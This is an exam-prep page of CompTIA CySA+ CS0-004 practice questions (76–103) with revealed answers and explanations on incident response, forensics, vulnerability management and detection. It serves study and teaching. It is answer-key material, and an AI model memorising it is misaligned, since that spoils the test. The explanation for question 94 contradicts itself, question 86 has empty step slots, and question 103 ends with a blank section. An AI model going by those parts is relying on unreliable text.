Courseiva

CompTIA CySA+ CS0-004 (CS0-004) — Questions 76–150

688 questions total · 10 pages · All types, answers revealed

Page 1

Page 2 of 10

Page 3
76
MCQmedium

An EDR alert shows powershell.exe launched by winword.exe with an encoded command line and outbound HTTPS shortly after a user opened an email attachment. What is the BEST first analytic pivot? In the alert triage phase, Which action gives the analyst the clearest next triage step?

A.Disable the SIEM parser for PowerShell events
B.Decode the command and inspect the process tree, parent document, and network destination
C.Reimage every workstation in the department
D.Close the alert because HTTPS is expected traffic
AnswerB

The encoded PowerShell spawned by winword.exe indicates a malicious macro or exploit; decoding the command reveals its intent, while the process tree, parent document and destination IP establish scope and command-and-control. Together these give the clearest evidence-driven pivot before containment decisions.

Why this answer

Decoding the encoded PowerShell command reveals the attacker's intent, inspecting the process tree shows the execution chain from winword.exe to powershell.exe, examining the parent document identifies the malicious attachment, and analyzing the network destination uncovers the C2 server. This systematic approach provides the clearest next triage step by correlating the initial infection vector with the subsequent malicious activity, enabling the analyst to contain the threat effectively.

Exam trap

The CS0-004 exam often tests the candidate's ability to prioritize investigative actions over reactive or destructive measures, trapping those who choose to disable logging or perform mass reimaging instead of conducting a structured forensic analysis.

How to eliminate wrong answers

Option A is wrong because disabling the SIEM parser for PowerShell events would blind the security team to all future PowerShell-based attacks, removing critical visibility without addressing the current alert. Option C is wrong because reimaging every workstation is a drastic, untargeted response that wastes resources and does not help identify the root cause or scope of the incident; it should only be considered after forensic analysis confirms widespread compromise.

77
Multi-Selecthard

During a forensic investigation, an analyst must acquire digital evidence while maintaining forensic soundness. Which THREE practices should the analyst follow? (Choose three.)

Select 3 answers
A.Use the suspect's operating system to copy files
B.Power on the system to capture volatile data first
C.Verify the hash of the image against the original
D.Use a write blocker when imaging the hard drive
E.Document every action taken during the acquisition
AnswersC, D, E

Verifying the hash of the acquired image against the original evidence is a critical step because it provides cryptographic proof that the image is an exact bit-for-bit replica. Using algorithms like SHA-256, any change to even a single bit in the image produces a completely different hash, so the match confirms no data was altered during acquisition. This verification is recorded and matched against the hash of the original, establishing the integrity and authenticity of the evidence for the chain of custody and courtroom admissibility.

Why this answer

Option C is correct because hashing the acquired image (e.g., with MD5 or SHA-256) and comparing it to the hash of the original source proves the copy is a bit-for-bit duplicate and has not been altered, which is essential to forensic soundness and admissibility. Option D is correct because a hardware or software write blocker prevents any write operations from reaching the suspect drive during imaging, preserving the integrity of the original evidence. Option E is correct because maintaining a detailed chain of custody and documenting every action (tools, timestamps, hashes, personnel) ensures the acquisition is reproducible, defensible, and legally admissible.

Option A is not appropriate because using the suspect's operating system can modify file metadata (MAC times) and alter the evidence, violating forensic soundness. Option B is not appropriate as a general acquisition practice because powering on the system can change volatile and non-volatile data; volatile data should only be captured under a documented, justified order of volatility when necessary, not as a blanket first step.

Exam trap

CompTIA often tests the misconception that capturing volatile data by powering on the system is always good practice — candidates must recognise that in dead-box acquisition, powering on destroys forensic soundness.

78
Multi-Selectmedium

A security analyst is responding to a potential data exfiltration incident. As part of the containment strategy, the analyst must preserve evidence. Which TWO actions should the analyst take before containment? (Select two.)

Select 2 answers
A.Capture a forensic image of the affected systems
B.Change passwords for affected accounts
C.Disconnect the system from the network
D.Record current active network connections
E.Kill malicious processes
AnswersA, D

Capturing a forensic image of affected systems is the correct first step because it creates a bit-for-bit copy of the storage media while preserving file slack, unallocated space, and metadata. Using a hardware write-blocker and cryptographic hashing ensures the evidence remains intact and tamper-proof for later analysis. This action is essential for identifying how the data exfiltration occurred, which files were accessed, and what remnants remain, all without altering the original source.

Why this answer

Option A is correct because capturing a forensic image of the affected systems creates a bit-for-bit copy of volatile and non-volatile data (using tools like dd, FTK Imager, or EnCase) that preserves evidence in its original state before any containment actions alter the system. Option D is correct because recording current active network connections (e.g., via netstat, ss, or Get-NetTCPConnection) captures volatile evidence such as established sessions, remote IP addresses, and ports that would be lost once the system is isolated or processes are terminated. Option B is not appropriate because changing passwords modifies system state and can destroy evidence of credential compromise or attacker persistence.

Option C is a containment action itself, not an evidence-preservation step, and would eliminate live network artifacts. Option E is also a containment/remediation action that destroys volatile memory evidence such as running processes and their associated network connections.

Exam trap

CS0-004 often tests the sequence of incident response phases, and candidates confuse containment actions (disconnecting, killing processes, changing passwords) with evidence preservation, picking a containment step that destroys the very evidence the question asks them to save.

79
MCQhard

A vulnerability management team uses OpenVAS to scan a network of 500 hosts weekly. The scans are causing network congestion and generating false positives. Which of the following would BEST reduce the impact while maintaining effective vulnerability detection?

A.Disable the vulnerable host discovery phase.
B.Increase the scan interval to monthly.
C.Use credential-based scanning to reduce false positives.
D.Schedule scans during off-peak hours and limit concurrent scans.
AnswerD

Scheduling vulnerability assessments during off-peak hours ensures that high-volume scan traffic does not compete with critical production services or degrade user experience. Concurrently, limiting the number of simultaneous target scans reduces the instantaneous bandwidth load on network switches, firewalls, and target hosts. This dual approach successfully mitigates network congestion while preserving the thoroughness and frequency of the security assessments.

Why this answer

Scheduling scans during off-peak hours and limiting concurrent scans directly reduces network congestion by shifting traffic to low-utilization periods and capping the number of simultaneous connections. This approach maintains the weekly scan frequency and full vulnerability coverage, unlike other options that degrade detection effectiveness.

Exam trap

CompTIA often tests the misconception that reducing false positives (credential-based scanning) solves network congestion, but the question specifically asks about reducing impact from congestion, not improving accuracy.

How to eliminate wrong answers

Option A is wrong because disabling the host discovery phase would prevent OpenVAS from identifying live hosts, causing it to skip vulnerability checks on those systems and severely reduce detection coverage. Option B is wrong because increasing the scan interval to monthly would leave hosts unassessed for three weeks, violating the weekly cadence and allowing vulnerabilities to persist longer. Option C is wrong because credential-based scanning reduces false positives by enabling authenticated checks, but it does not address network congestion; in fact, it can increase network traffic due to additional authentication exchanges.

80
Multi-Selectmedium

A SOC analyst is triaging a SIEM alert that indicates a possible DNS tunneling attack. The alert was generated based on a correlation rule that looks for unusually high DNS query volume from a single host. Which TWO additional data sources should the analyst correlate to confirm the attack?

Select 2 answers
A.Firewall logs
B.Endpoint registry logs
C.DNS server logs
D.Authentication logs
E.NetFlow/IPFIX
AnswersC, E

DNS server logs are the primary source for detecting DNS tunneling because they contain the queried domain name, client IP, timestamp, record type (e.g., A, TXT, CNAME), and response size. Tunneling often manifests as base64-encoded subdomains, unusually long FQDNs, or high volumes of TXT/ANY queries with large response payloads—all visible directly in these logs. Correlating such patterns across multiple queries to the same domain from a single internal host provides strong, specific evidence of tunneling.

Why this answer

DNS server logs (C) are essential because they capture the actual query names, record types (e.g., TXT, NULL, CNAME), response sizes, and query/response patterns that reveal the encoded exfiltration payloads and high-entropy subdomains typical of DNS tunneling. NetFlow/IPFIX (E) provides flow-level metadata such as packet and byte counts, flow duration, and destination IPs/ports, which helps confirm the sustained, periodic, or oversized DNS traffic volume to an external resolver that the SIEM rule flagged. Together these sources let the analyst validate that the high query volume is anomalous in content (C) and in traffic behavior (E), which is what distinguishes tunneling from benign DNS activity.

Firewall logs (A) mainly show allowed/denied connections and port usage rather than DNS query content, so they add limited confirmation value here. Endpoint registry logs (B) are unrelated to DNS query behavior, and authentication logs (D) would only help if credential abuse were suspected, neither of which supports confirming DNS tunneling.

Exam trap

CS0-004 often tests the misconception that firewall logs are the best corroborating source for DNS tunneling, when DNS server logs and NetFlow/IPFIX provide the query content and flow volume evidence that actually confirms the tunnel.

81
MCQmedium

A threat intelligence report indicates that a known APT group is using 'regsvr32.exe' to execute malicious code. Which detection rule type would be most effective in identifying this technique across multiple endpoints?

A.Snort rule
B.YARA rule
C.Suricata rule
D.Sigma rule
AnswerD

Sigma is an open, standardized signature format designed specifically for describing log events in a SIEM-neutral manner. It allows security analysts to write rules targeting process creation logs (such as Windows Event ID 1) to detect malicious command-line executions, such as regsvr32.exe loading remote scripts, which can then be converted into target SIEM queries like Splunk or ELK.

Why this answer

Sigma is a generic, open signature format for log-based detection rules that can be converted to multiple SIEM query languages (Splunk, Elastic, Sentinel, etc.). Because the question asks for a rule type effective across multiple endpoints and the technique involves process execution (regsvr32.exe), a Sigma rule targeting process creation events is the most portable and effective choice. It can be deployed across heterogeneous endpoint detection platforms.

Exam trap

CS0-004 often tests the confusion between network-based detection (Snort/Suricata) and host-based detection (Sigma/YARA), and between file-signature matching (YARA) and behavioral process matching (Sigma).

How to eliminate wrong answers

Option A is wrong because Snort is a network intrusion detection system that inspects packets, not endpoint process execution, so it cannot detect regsvr32.exe execution on hosts. Option B is wrong because YARA rules match patterns in files or memory (malware signatures), not process command-line behavior across endpoints. Option C is wrong because Suricata, like Snort, is a network-based IDS/IPS and does not inspect endpoint process creation events.

82
MCQmedium

A security analyst is reviewing an alert from a CASB that shows a user downloading a large volume of sensitive data from a cloud storage application to a personal device outside of business hours. The user's behavior is atypical. Which of the following is the most likely interpretation?

A.Indicates a compromised account being used for data exfiltration
B.True positive - but only if the user has been phished
C.False positive - the user is working overtime
D.Indicates a misconfigured CASB policy
AnswerA

This alert strongly indicates a compromised account because the combination of an unmanaged personal device, anomalous off-hours access, and high-volume data downloads aligns perfectly with a classic data exfiltration pattern. Cloud Access Security Brokers (CASBs) utilize User and Entity Behavior Analytics (UEBA) to detect these deviations from established baselines, signaling that an unauthorized actor is likely draining corporate data storehouses.

Why this answer

Atypical data download from a cloud service to a personal device outside business hours is a strong indicator of data exfiltration.

83
Multi-Selecthard

An analyst is reviewing a CASB alert indicating that a user accessed a cloud application from a geolocation that is not typical for the organization. Which THREE additional data sources would be most helpful to determine if the activity is malicious?

Select 3 answers
A.User activity logs from the cloud application
B.Threat intelligence feeds for the source IP address
C.Firewall logs showing outbound connections
D.Vulnerability scan results for the user's workstation
E.Authentication logs from the identity provider
AnswersA, B, E

Cloud application activity logs reveal exactly what the user did after the atypical sign-in, such as downloads, shares or configuration changes. Correlating these actions with the CASB geolocation alert distinguishes genuine malicious behaviour from legitimate travel or VPN use.

Why this answer

Option A (User activity logs from the cloud application) is correct because these logs reveal what the user actually did inside the SaaS app—file downloads, sharing changes, admin actions, or mass data access—which distinguishes benign travel-related access from malicious exfiltration or account takeover. Option B (Threat intelligence feeds for the source IP address) is correct because enriching the source IP with reputation, proxy/VPN/Tor exit-node, and known-bad infrastructure data helps determine whether the geolocation is a hostile or anonymized source rather than the legitimate user. Option E (Authentication logs from the identity provider) is correct because IdP logs show the authentication context—MFA success/failure, device, session token issuance, impossible-travel patterns, and sign-in risk—confirming whether the session was legitimately established or the result of credential compromise.

Option C (Firewall logs showing outbound connections) is not among the marked answers because outbound firewall metadata generally shows only IP/port/protocol and cannot confirm user identity or in-app behavior, adding little beyond what the CASB alert and IP reputation already provide. Option D (Vulnerability scan results for the user's workstation) is not among the marked answers because endpoint vulnerabilities describe potential exposure and do not indicate whether this specific cloud access was malicious or legitimate.

Exam trap

CS0-004 often tests the temptation to include infrastructure logs (firewall, vulnerability scans) that seem security-relevant but do not answer the specific question of whether a cloud-app access from an unusual location is malicious — the exam expects identity, activity, and threat-intel correlation.

84
MCQhard

A post-incident report finds that no one owned a failed alert integration. What should the corrective action include? If the primary audience is technical remediation owner, which content choice is most appropriate?

A.Named owner, due date, acceptance criteria, and retest plan
B.No action because the incident is closed
C.Deletion of the integration record
D.A vague recommendation to improve security
AnswerA

A post-incident report must translate findings into actionable tasks to prevent recurrence and improve security posture. Assigning a named owner ensures clear accountability for the remediation, while a due date establishes a timeline and urgency for completion. Acceptance criteria define the specific conditions that must be met for the corrective action to be considered successful, and a retest plan verifies the effectiveness of the implemented fix, validating that the original failure mode is truly resolved.

Why this answer

A is correct because a failed alert integration indicates a gap in operational ownership, which must be resolved by assigning a named owner, setting a due date, defining acceptance criteria, and planning a retest. This ensures accountability and verifies that the integration is properly restored and monitored, preventing recurrence. Without these elements, the corrective action lacks closure and measurable success criteria.

Exam trap

The CS0-004 exam often tests the misconception that closing an incident ends all responsibility, but the trap here is that corrective actions must include ownership and verification steps to prevent the same failure from recurring.

How to eliminate wrong answers

Option B is wrong because closing the incident without addressing the root cause (lack of ownership) leaves the vulnerability unpatched and the integration non-functional, violating post-incident remediation best practices. Option C is wrong because deleting the integration record removes the alerting capability entirely, which could blind the security team to future incidents; the corrective action should fix the integration, not eliminate it.

85
MCQmedium

An analyst is reviewing scan results and finds that a critical vulnerability is present on 50 workstations. The vendor has released a patch, but the IT team is concerned about potential compatibility issues. Which of the following should the analyst recommend?

A.Remove the vulnerable software
B.Test the patch on a subset before full deployment
C.Apply a workaround from the vendor
D.Deploy the patch to all workstations immediately
AnswerB

Staging the patch to a small pilot group first, then monitoring for application crashes, driver conflicts, or performance regressions, directly addresses the stated compatibility concern while still moving toward full remediation; this follows standard change-management practice of validating a fix against the organization's real configuration baseline before it touches all 50 production endpoints.

Why this answer

The IT team's concern about compatibility issues necessitates a controlled rollout. Testing the patch on a subset of workstations allows the analyst to validate that the patch does not break critical business applications or system functionality before full deployment, aligning with the vulnerability management principle of staged patching to minimize operational risk.

Exam trap

CompTIA often tests the misconception that immediate patching is always the best response, but the trap here is that the question explicitly highlights 'potential compatibility issues,' requiring the candidate to prioritize risk management over speed, making 'test on a subset' the correct choice over 'deploy immediately.'

How to eliminate wrong answers

Option A is wrong because removing the vulnerable software is a drastic measure that may not be feasible if the software is essential for business operations, and it does not address the root cause of the vulnerability in a way that maintains functionality. Option C is wrong because applying a workaround from the vendor is typically a temporary mitigation strategy, not a permanent fix, and may not fully eliminate the vulnerability or could introduce its own compatibility issues. Option D is wrong because deploying the patch to all workstations immediately ignores the IT team's stated concern about potential compatibility issues, which could lead to widespread system instability or application failures across the entire environment.

86
Drag & Dropmedium

Order the steps to perform a vulnerability scan using a tool like Nessus.

Drag or tap steps into the slots.

Steps
Order
1Step 1
2Step 2
3Step 3
4Step 4

Why this order

Vulnerability scanning typically involves defining targets, choosing a policy, configuring settings, executing, and analyzing results.

87
MCQeasy

A supplier provides a software product used in a regulated environment. The security team wants visibility into included libraries and versions. What should they request?

A.A DNS MX record report
B.A password complexity screenshot only
C.A software bill of materials
D.A building floor plan
AnswerC

An SBOM lists software components and versions, supporting dependency risk analysis.

Why this answer

A Software Bill of Materials (SBOM) provides a formal, machine-readable inventory of all third-party and open-source components, libraries, and their versions used in a software product. In a regulated environment, this is essential for vulnerability management and compliance, as it enables the security team to quickly identify known vulnerabilities (e.g., CVEs) in specific library versions and prioritize remediation based on risk.

Exam trap

The CS0-004 exam often tests the distinction between operational security artifacts (like DNS records or password screenshots) and the specific artifact needed for software composition analysis, leading candidates to choose a familiar-sounding but irrelevant option.

How to eliminate wrong answers

Option A is wrong because a DNS MX record report lists mail exchange servers for email routing, which has no relevance to tracking software libraries or versions. Option B is wrong because a password complexity screenshot only shows password policy settings, not the included libraries or their versions, and provides no visibility into software composition.

88
MCQhard

An organization uses Qualys for vulnerability scanning. After a scan, the security team identifies a vulnerability with an EPSS score of 0.95 and that appears in the CISA KEV catalog. However, the affected asset is a non-critical development server with no internet access. According to the vulnerability lifecycle, what should be the analyst's NEXT action?

A.Apply a compensating control, such as a firewall rule blocking access to the server.
B.Escalate the vulnerability to management for emergency patching.
C.Document the finding and schedule remediation during the next regular maintenance window.
D.Immediately patch the server within 48 hours due to the high EPSS score.
AnswerC

Incorporating both vulnerability severity and business context is fundamental to risk-based vulnerability management. Since the asset is non-critical and isolated from the internet, the overall risk is low despite a high EPSS score, making it appropriate to document the vulnerability and remediate it during the next scheduled maintenance window without disrupting business operations.

Why this answer

Despite high EPSS and KEV listing, the asset's low business context (non-critical, no internet access) reduces risk; the analyst should prioritize based on business context, likely scheduling remediation with lower urgency.

89
Multi-Selectmedium

A security analyst is reviewing a CASB alert indicating a user is accessing a cloud storage application from an unusual location. The analyst needs to investigate further. Which TWO actions are most appropriate?

Select 2 answers
A.Review the cloud application's audit logs for file access or sharing events
B.Disable the user's account immediately
C.Reset the user's password without further analysis
D.Check the user's recent authentication logs for successful logins
E.Block all access to the cloud application from that location
AnswersA, D

Cloud application audit logs (e.g., Microsoft 365's Unified Audit Log or Google Workspace's Admin Log) provide a tamper-evident record of every file access, download, share, and permission change linked to a user or session. By correlating the CASB alert's timestamp, source IP, and geolocation with these logs, the analyst can determine definitively whether sensitive files were opened, downloaded, or shared externally. This evidence-first approach confirms or refutes exfiltration and helps scope the incident without causing business disruption.

Why this answer

Checking the user's recent authentication logs can confirm if the access was legitimate. Reviewing the cloud application's audit logs can provide details on the activities performed. The other options are less relevant or too broad.

90
MCQhard

A security analyst is reviewing a report from an authenticated vulnerability scan of a Windows domain controller. The report indicates multiple critical vulnerabilities related to Active Directory. The system administrator claims the patches have been applied. Which of the following is the MOST likely cause of the discrepancy?

A.The vulnerabilities are false positives
B.The scan was run with insufficient credentials
C.The scan was run before patch installation
D.The patches require a reboot
AnswerD

Many critical security patches, especially those affecting kernel components, system libraries, or core services, require a system reboot to fully integrate and activate the updated code. Without a proper reboot, the vulnerable older versions of these components may remain active in memory or in use by running processes, effectively leaving the system exposed despite the patch files being physically present on disk. The vulnerability scanner would correctly identify the active, unpatched state.

Why this answer

The most likely cause is that the patches require a reboot. Many critical Active Directory vulnerabilities, such as those in Kerberos or LSASS, are mitigated by patches that only take effect after a system restart. The authenticated scan detects the vulnerability because the patched files are not yet loaded into memory, even though the patches are installed on disk.

Exam trap

The CS0-004 exam often tests the concept that patch installation does not equal vulnerability remediation until a reboot occurs, leading candidates to incorrectly assume false positives or credential issues.

How to eliminate wrong answers

Option A is wrong because authenticated vulnerability scans are highly accurate for known CVEs; false positives are rare when proper credentials are used, and the scan specifically targets Active Directory vulnerabilities. Option B is wrong because the scan was explicitly described as authenticated, meaning sufficient credentials were provided to access the domain controller and enumerate patch levels. Option C is wrong because the system administrator claims the patches have been applied, and the scan was run after that claim; if the scan were run before installation, the discrepancy would be expected and not a discrepancy at all.

91
Multi-Selecthard

A cybersecurity analyst is presenting risk findings to the board of directors. Which THREE types of impact should be emphasized to effectively communicate business risk? (Select THREE.)

Select 3 answers
A.Operational impact
B.Financial impact
C.Technical impact
D.Regulatory penalties
E.Reputational impact
AnswersB, D, E

Financial impact directly quantifies risk in monetary terms, such as lost revenue, incident response costs, or diminished asset value. It is the most universally understood language for executive stakeholders, facilitating prioritization of risk mitigation based on return on investment. Presenting risk as financial exposure enables the board to make informed decisions about risk appetite and resource allocation.

Why this answer

Business risk communication should focus on financial impact, reputational impact, and regulatory penalties as these resonate with business leaders. Technical impact is too detailed.

92
MCQhard

During a web application penetration test, a security analyst uses a DAST tool and discovers that the application is vulnerable to Server-Side Request Forgery (SSRF). According to the OWASP Top 10 2021, under which category does SSRF fall?

A.A03: Injection
B.A01: Broken Access Control
C.A06: Vulnerable and Outdated Components
D.A10: Server-Side Request Forgery (SSRF)
AnswerD

Server-Side Request Forgery is explicitly categorized as A10 in the OWASP Top 10 2021. This vulnerability occurs when a web application fetches a remote resource without validating the user-supplied URL, allowing attackers to coerce the application into sending crafted requests to unexpected destinations, such as internal loopback addresses, metadata services, or private backend systems.

Why this answer

In the OWASP Top 10 2021, Server-Side Request Forgery (SSRF) was added as a new category, A10: Server-Side Request Forgery (SSRF). This category specifically addresses vulnerabilities where an attacker can induce the server to make requests to unintended locations, such as internal services or external systems.

Exam trap

CS0-004 often tests the updated OWASP Top 10 2021 categories, where candidates might incorrectly place SSRF under A03: Injection due to its historical association, but it is now a separate category A10.

How to eliminate wrong answers

Option A is wrong because A03: Injection covers injection flaws like SQL, NoSQL, and OS command injection, but SSRF is not classified as injection in the 2021 list. Option B is wrong because A01: Broken Access Control deals with access control weaknesses, not SSRF. Option C is wrong because A06: Vulnerable and Outdated Components relates to using components with known vulnerabilities, not SSRF.

93
Multi-Selectmedium

Which TWO methods help ensure the accuracy of security metrics reported to management?

Select 2 answers
A.Using colorful charts to impress stakeholders
B.Periodic validation of data against original logs
C.Automated data collection from reliable sources
D.Reporting only positive metrics to maintain confidence
E.Manual entry of data from multiple spreadsheets
AnswersB, C

Regularly auditing and cross-referencing aggregated security metrics against raw, immutable source logs (such as SIEM or syslog data) ensures that data pipeline transformations have not introduced errors. This reconciliation process detects drift, corruption, or manipulation, thereby guaranteeing that the reported metrics accurately reflect the actual security posture.

Why this answer

Periodic validation of security metrics against original logs (e.g., firewall logs, IDS/IPS alerts, or authentication logs) ensures data integrity by detecting discrepancies introduced during aggregation or transformation. This practice aligns with the principle of 'trust but verify,' where raw log sources serve as the authoritative baseline for metric accuracy, preventing reporting of corrupted or incomplete data.

Exam trap

CompTIA often tests the misconception that 'automated collection alone guarantees accuracy,' but the trap here is that automation without periodic validation can still propagate errors from misconfigured sources or data pipelines, so both B and C are required for accuracy.

94
MCQmedium

During a threat hunting exercise, an analyst creates a hypothesis that a threat actor may be using scheduled tasks for persistence. Which Windows registry key or log source should the analyst examine to confirm the hypothesis?

A.Check the Run registry keys (HKLM\Software\Microsoft\Windows\CurrentVersion\Run)
B.Review the Windows Security Event Log for event ID 4698 (scheduled task creation)
C.Examine the System event log for driver loading events
D.Analyze the application event log for error messages
AnswerB

Reviewing the Windows Security Event Log for event ID 4698 is the most direct and effective method to detect the creation of new scheduled tasks. This specific event ID explicitly logs when a scheduled task is registered on the system, providing crucial forensic evidence of a potential persistence mechanism established by an attacker. Analyzing these logs allows analysts to identify the task name, creator, and associated command, which are vital details for incident response.

Why this answer

Scheduled tasks are stored in the Windows Task Scheduler and can be viewed via schtasks.exe, but the registry also contains persistence mechanisms. However, scheduled tasks are not primarily stored in the registry; they are in %SystemRoot%\Tasks. Alternatively, the analyst can use the Task Scheduler API.

But among the options, examining the 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule' is not standard. Actually, the correct answer is to examine the Task Scheduler logs or the tasks folder. However, the question specifies registry key or log source.

The best answer is to review the Windows Security Event Log for event ID 4698 (scheduled task creation).

95
MCQeasy

A security analyst notices a high number of alerts from a new detection rule that triggers on 'any outbound connection to a known malicious IP'. After investigation, the analyst finds that the IP address is from a threat intelligence feed but the connections are actually from a legitimate security scanner that was recently deployed. How should the analyst handle this?

A.Add the scanner's IP to an allowlist in the rule
B.Disable the rule permanently
C.Report the scanner as compromised
D.Increase the severity of the rule
AnswerA

Adding the authorized scanner's IP address to an exclusion or allowlist within the specific detection rule suppresses benign alerts generated by scheduled vulnerability assessments. This targeted tuning preserves the rule's efficacy for detecting actual malicious activity from unauthorized sources while eliminating alert fatigue caused by known, legitimate scanning activities.

Why this answer

The alerts are false positives because the traffic is legitimate. The analyst should tune the rule to exclude the scanner's source IP addresses.

96
MCQmedium

During a security incident, a CySA+ analyst needs to communicate the status to the CISO. Which type of report is most appropriate for this purpose?

A.Technical report with packet captures
B.Executive dashboard
C.Vulnerability scan report
D.Threat intelligence feed
AnswerB

An executive dashboard aggregates complex security metrics into high-level, visual, and actionable insights tailored for non-technical stakeholders. During an active incident, this format allows leadership to quickly grasp the overall business risk, containment status, and resource allocation needs without getting bogged down in technical minutiae.

Why this answer

An executive dashboard provides a high-level, real-time view of key metrics and incident status suitable for executive communication.

97
MCQeasy

Which of the following is the best example of a Key Performance Indicator (KPI) for patch management?

A.Patch SLA compliance percentage
B.Mean time to detect vulnerabilities
C.Number of security incidents
D.Number of vulnerabilities discovered
AnswerA

This metric directly measures the effectiveness and efficiency of the patch management process by tracking the percentage of vulnerabilities remediated within established Service Level Agreement (SLA) windows. It provides actionable insight into operational performance and compliance, making it an ideal Key Performance Indicator (KPI) for patch management.

Why this answer

Patch SLA compliance percentage measures how often patches are applied within the agreed timeline, a key performance indicator.

98
MCQmedium

A security analyst must present a risk assessment to the board of directors. Which approach is most effective for communicating technical risks?

A.Focus solely on CVSS scores
B.Provide raw log data
C.Translate technical risk into business impact
D.Use technical jargon to demonstrate expertise
AnswerC

Board members operate on strategic risk management, financial exposure, and regulatory compliance. Translating technical vulnerabilities into business impacts—such as potential downtime, reputational damage, or compliance penalties—enables executives to make informed decisions regarding risk acceptance, mitigation budgets, and strategic alignment.

Why this answer

Translating technical risks into business impact (e.g., financial, reputational) helps non-technical stakeholders understand and prioritize risks.

99
MCQeasy

During the detection and analysis phase of the NIST SP 800-61 incident response lifecycle, an analyst identifies suspicious network traffic from an internal host to a known malicious IP address. Which step should the analyst perform next to validate the alert?

A.Search for the IP address on VirusTotal and Shodan.
B.Correlate the alert with other logs and endpoint data to confirm malicious activity.
C.Escalate the alert to the incident response team for containment.
D.Contain the host immediately by disconnecting it from the network.
AnswerB

Correlating the network alert with logs and endpoint telemetry confirms whether the internal host is genuinely compromised or the traffic is benign. This validation step distinguishes true malicious activity from false positives before escalating within the detection and analysis phase.

Why this answer

During the detection and analysis phase, the primary goal is to validate the alert by correlating it with additional data sources (e.g., firewall logs, DNS logs, endpoint detection and response (EDR) telemetry) to confirm whether the traffic is truly malicious or a false positive. Simply searching external threat intelligence (Option A) provides context but does not confirm activity on the host; escalation (Option C) and containment (Option D) are premature without validated evidence.

Exam trap

A common pitfall in the CySA+ exam is assuming that external threat intelligence (e.g., VirusTotal, Shodan) alone is sufficient for alert validation. The NIST framework emphasizes correlating internal logs (firewall, DNS, EDR) to confirm malicious activity before proceeding to containment or escalation.

How to eliminate wrong answers

Option A is wrong because searching VirusTotal and Shodan only provides external reputation data and does not validate whether the internal host actually communicated with the IP or if the traffic was benign (e.g., a false positive from a misconfigured proxy). Option C is wrong because escalation to the incident response team should occur only after the alert has been validated through correlation; premature escalation wastes resources and may lead to unnecessary incident handling. Option D is wrong because immediate containment (e.g., disconnecting the host) is a reactive step that should follow validation and a formal incident declaration; acting without confirmation can disrupt legitimate business operations and violate the NIST SP 800-61 containment strategy.

100
Multi-Selectmedium

Which metrics best show SOC detection and response effectiveness? (Choose two.)

Select 2 answers
A.Mean time to detect
B.Mean time to contain
C.Number of office printers
D.Total number of email signatures
AnswersA, B

Mean Time to Detect (MTTD) is a critical security operations center (SOC) metric that quantifies the average duration between the initial occurrence of a security incident and its identification by security analysts or automated systems. A lower MTTD indicates highly effective monitoring, robust log aggregation, and finely tuned SIEM correlation rules, directly demonstrating the SOC's proactive detection capabilities.

Why this answer

Mean time to detect (MTTD) directly measures how quickly the SOC identifies a security incident from the initial compromise, reflecting the efficiency of detection tools like SIEM and EDR. A lower MTTD indicates faster threat discovery, which is critical for minimizing dwell time and reducing potential damage.

Exam trap

The CS0-004 exam often tests the distinction between detection metrics (MTTD) and response/containment metrics (MTTC), and candidates may mistakenly include irrelevant operational metrics like printer counts that have no bearing on security operations effectiveness.

101
MCQhard

A threat hunter is analyzing EDR telemetry and discovers that the process svchost.exe spawned a child process powershell.exe. The powershell.exe then established a network connection to an external IP address. Which of the following best describes this behavior in the context of threat hunting?

A.A Windows update process
B.Normal administrative activity
C.A false positive from EDR
D.Living off the land binary (LOLBin) usage
AnswerD

This is a living-off-the-land binary technique: adversaries hijack a legitimate, digitally signed process like svchost.exe to launch PowerShell so the activity blends into normal system noise and evades signature-based defenses. The subsequent external network connection from the PowerShell child strongly suggests staged malware download or C2 beaconing, warranting immediate containment and further EDR correlation.

Why this answer

The behavior described — svchost.exe spawning powershell.exe, which then makes an outbound network connection — is a classic example of a Living off the Land Binary (LOLBin) attack. LOLBins are legitimate, signed Windows executables (like PowerShell, certutil, mshta, regsvr32) that adversaries abuse to blend malicious activity into normal system noise, evading signature-based detection. Because svchost.exe is a trusted system process, its child processes are often overlooked by naive detection rules, making this pattern a high-fidelity threat-hunting indicator.

Exam trap

CS0-004 often tests whether candidates can distinguish between legitimate Windows process behavior and LOLBin abuse — the trap is assuming that because svchost.exe is a trusted system process, any activity it initiates is benign.

How to eliminate wrong answers

Option A is wrong because Windows Update runs under the Windows Update service (wuauserv) and uses svchost.exe but does not spawn powershell.exe to make arbitrary outbound connections to external IPs. Option B is wrong because normal administrative activity typically involves interactive PowerShell sessions initiated by a user or admin, not svchost.exe spawning powershell.exe with immediate external network egress. Option C is wrong because while false positives are possible, the specific parent-child chain (svchost → powershell → external IP) is a well-documented LOLBin abuse pattern, not a benign EDR artifact.

102
MCQmedium

A security engineer is configuring a new SIEM correlation rule to detect lateral movement. Which of the following log sources would provide the most relevant data for detecting pass-the-hash attacks?

A.Authentication logs
B.Cloud audit logs
C.DNS logs
D.Firewall logs
AnswerA

Authentication logs capture critical event IDs related to logon attempts, such as Windows Event ID 4624 (successful logon) and 4625 (failed logon). Analyzing these logs allows security analysts to detect anomalous authentication patterns, lateral movement, and pass-the-hash (PtH) attacks by identifying unusual logon types (like Type 3 network logons) or mismatched credentials.

Why this answer

Authentication logs (e.g., Windows Security Event ID 4624) contain details about logon types (e.g., Network logon) and account names, which are crucial for detecting pass-the-hash.

103
Multi-Selecthard

An organization is implementing a patch management process. Which THREE of the following are essential steps that should be included before deploying patches to production systems? (Select the three best answers.)

Select 3 answers
A.Testing patches in a staging environment
B.Reviewing vendor security advisories for patch details
C.Performing regression testing on applications
D.Deploying patches directly to all production systems simultaneously
E.Disabling all security controls to avoid conflicts
AnswersA, B, C

Testing patches in a staging environment replicates the production configuration, including operating system versions, middleware, and sample data, to validate patch behavior and compatibility before any disruption. It allows security and IT teams to detect conflicts, broken dependencies, and performance degradations early, and to develop rollback procedures. This process is foundational to a mature patch management lifecycle because it directly reduces the probability of production outages and security regressions.

Why this answer

Option A (Testing patches in a staging environment) is correct because a staging environment mirrors production and allows you to validate that patches install cleanly and don't break functionality before touching live systems. Option B (Reviewing vendor security advisories for patch details) is correct because advisories provide the CVE identifiers, severity ratings, affected versions, and known issues that let you prioritize and understand each patch before deployment. Option C (Performing regression testing on applications) is correct because patches can alter shared libraries, dependencies, or OS behavior, so regression testing confirms existing application functionality still works after patching.

Option D is wrong because deploying patches simultaneously to all production systems removes any rollback safety net and can cause a widespread outage if the patch is faulty. Option E is wrong because disabling security controls exposes systems to attack and is never a legitimate patch-management step.

Exam trap

